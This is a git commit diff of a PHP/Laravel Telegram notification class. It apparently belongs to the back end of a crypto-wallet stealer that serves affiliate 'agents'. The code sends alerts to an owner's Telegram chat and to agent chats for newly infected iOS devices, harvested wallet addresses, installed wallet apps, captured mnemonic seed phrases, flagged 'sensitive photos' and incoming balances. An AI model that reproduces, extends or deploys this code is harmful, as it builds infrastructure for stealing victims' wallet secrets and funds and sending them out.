feat: bot

This commit is contained in:
hashbro
2026-08-15 23:05:51 +08:00
parent 9049fdccad
commit 376b442880
26 changed files with 944 additions and 352 deletions
+172 -45
View File
@@ -11,47 +11,134 @@ use Illuminate\Support\Facades\Log;
class TelegramNotifier
{
/** @var array<string, array{channel_id: string, agent: ?User}> */
private array $deviceContext = [];
public function systemEnabled(): bool
{
return trim((string) config('coruna.telegram.bot_token', '')) !== ''
return $this->botToken() !== ''
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
}
/**
* @return array{0: string, 1: string}|null [token, chatId]
* Site-wide bot token. Agents only configure chat_id.
*/
public function resolveDestination(?string $deviceKey = null): ?array
public function botToken(): string
{
$agent = $this->resolveAgentForDeviceKey($deviceKey);
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) {
return [
trim((string) $agent->bot_token),
trim((string) $agent->chat_id),
];
}
return trim((string) config('coruna.telegram.bot_token', ''));
}
if (! $this->systemEnabled()) {
public function formatBotUsername(?string $username): string
{
$username = ltrim(trim((string) $username), '@');
return $username === '' ? '' : '@'.$username;
}
public function cachedBotUsername(): string
{
return $this->formatBotUsername((string) config('coruna.telegram.bot_username', ''));
}
public function inviteUrl(?string $username = null): string
{
$name = ltrim($username !== null && trim($username) !== ''
? $this->formatBotUsername($username)
: $this->cachedBotUsername(), '@');
return $name === '' ? '' : 'https://t.me/'.$name.'?startgroup=1';
}
/** Resolve @username via Telegram getMe. */
public function fetchBotUsername(?string $token = null): ?string
{
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
if ($token === '') {
return null;
}
return [
trim((string) config('coruna.telegram.bot_token')),
trim((string) config('coruna.telegram.owner_chat_id')),
];
try {
$resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe");
if (! $resp->successful() || $resp->json('ok') !== true) {
return null;
}
$name = $this->formatBotUsername((string) ($resp->json('result.username') ?? ''));
return $name !== '' ? $name : null;
} catch (\Throwable $e) {
Log::warning('telegram getMe failed: '.$e->getMessage());
return null;
}
}
/**
* Agent device with chat_id → agent chat + official chat.
* Otherwise official chat only.
*
* @return list<string>
*/
public function resolveChatIds(?string $deviceKey = null): array
{
if ($this->botToken() === '') {
return [];
}
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
$agentChat = '';
$agent = $this->contextForDevice($deviceKey)['agent'];
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramChat()) {
$agentChat = trim((string) $agent->chat_id);
}
$chatIds = [];
if ($agentChat !== '') {
$chatIds[] = $agentChat;
}
if ($owner !== '' && $owner !== $agentChat) {
$chatIds[] = $owner;
}
return $chatIds;
}
public function enabled(?string $deviceKey = null): bool
{
return $this->resolveDestination($deviceKey) !== null;
return $this->resolveChatIds($deviceKey) !== [];
}
public function send(string $text, ?string $deviceKey = null): bool
{
$dest = $this->resolveDestination($deviceKey);
if ($dest === null) {
$chatIds = $this->resolveChatIds($deviceKey);
if ($chatIds === []) {
return false;
}
[$token, $chatId] = $dest;
$ok = false;
foreach ($chatIds as $chatId) {
if ($this->sendToChat($chatId, $text)['ok']) {
$ok = true;
}
}
return $ok;
}
/**
* Send one message to a specific chat using the site bot (or an override token).
*
* @return array{ok: bool, error: ?string}
*/
public function sendToChat(string $chatId, string $text, ?string $token = null): array
{
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
$chatId = trim($chatId);
if ($token === '') {
return ['ok' => false, 'error' => '未配置 Bot Token'];
}
if ($chatId === '') {
return ['ok' => false, 'error' => '未填写 Chat ID'];
}
try {
$resp = Http::timeout(15)->asForm()->post(
@@ -63,20 +150,43 @@ class TelegramNotifier
'disable_web_page_preview' => true,
]
);
if ($resp->successful() && ($resp->json('ok') === true)) {
return ['ok' => true, 'error' => null];
}
return $resp->successful();
$desc = trim((string) ($resp->json('description') ?? ''));
if ($desc === '') {
$desc = 'HTTP '.$resp->status();
}
Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $desc];
} catch (\Throwable $e) {
Log::warning('telegram send failed: '.$e->getMessage());
Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
return false;
return ['ok' => false, 'error' => $e->getMessage()];
}
}
/**
* @return array{ok: bool, error: ?string}
*/
public function sendTest(string $chatId, string $label, ?string $token = null): array
{
$chatId = trim($chatId);
return $this->sendToChat($chatId, implode("\n", [
'🧪 <b>Telegram 测试</b>',
$this->e($label),
'🆔 Chat ID: <code>'.$this->e($chatId).'</code>',
]), $token);
}
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'📱 <b>New Device</b>',
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
...$this->deviceHeader($deviceId),
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
]), $deviceId);
@@ -105,7 +215,7 @@ class TelegramNotifier
$lines = [
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
...$this->deviceHeader($deviceId),
];
foreach ($wallets as $i => $w) {
@@ -140,7 +250,7 @@ class TelegramNotifier
$this->send(implode("\n", [
'👜 <b>Installed Wallets</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
...$this->deviceHeader($deviceId),
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
]), $deviceId);
}
@@ -149,7 +259,7 @@ class TelegramNotifier
{
$this->send(implode("\n", [
'🔐 <b>New Mnemonic</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
...$this->deviceHeader($deviceId),
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]), $deviceId);
@@ -159,7 +269,7 @@ class TelegramNotifier
{
$this->send(implode("\n", [
'🖼 <b>Sensitive Photo</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
...$this->deviceHeader($deviceId),
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
@@ -175,7 +285,7 @@ class TelegramNotifier
): void {
$lines = [
'✅ <b>Balance Inbound</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
@@ -186,32 +296,49 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId);
}
private function resolveAgentForDeviceKey(?string $deviceKey): ?User
/** @return list<string> */
private function deviceHeader(string $deviceId): array
{
$channelId = $this->contextForDevice($deviceId)['channel_id'];
return [
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'📡 <b>ChannelID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
];
}
/**
* @return array{channel_id: string, agent: ?User}
*/
private function contextForDevice(?string $deviceKey): array
{
$deviceKey = trim((string) $deviceKey);
if ($deviceKey === '') {
return null;
return ['channel_id' => '', 'agent' => null];
}
if (isset($this->deviceContext[$deviceKey])) {
return $this->deviceContext[$deviceKey];
}
$channelId = '';
$agent = null;
try {
$channelId = Device::query()
->where('device_id', $deviceKey)
->value('channel_id');
if (! is_string($channelId) || $channelId === '') {
return null;
$found = Device::query()->where('device_id', $deviceKey)->value('channel_id');
$channelId = is_string($found) ? $found : '';
if ($channelId !== '') {
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
if ($userId !== null && (int) $userId > 0) {
$agent = User::query()->find((int) $userId);
}
}
$userId = Channel::query()
->where('channel_id', $channelId)
->value('user_id');
if ($userId === null || (int) $userId <= 0) {
return null;
}
return User::query()->find((int) $userId);
} catch (\Throwable) {
return null;
//
}
return $this->deviceContext[$deviceKey] = [
'channel_id' => $channelId,
'agent' => $agent,
];
}
private function e(?string $value): string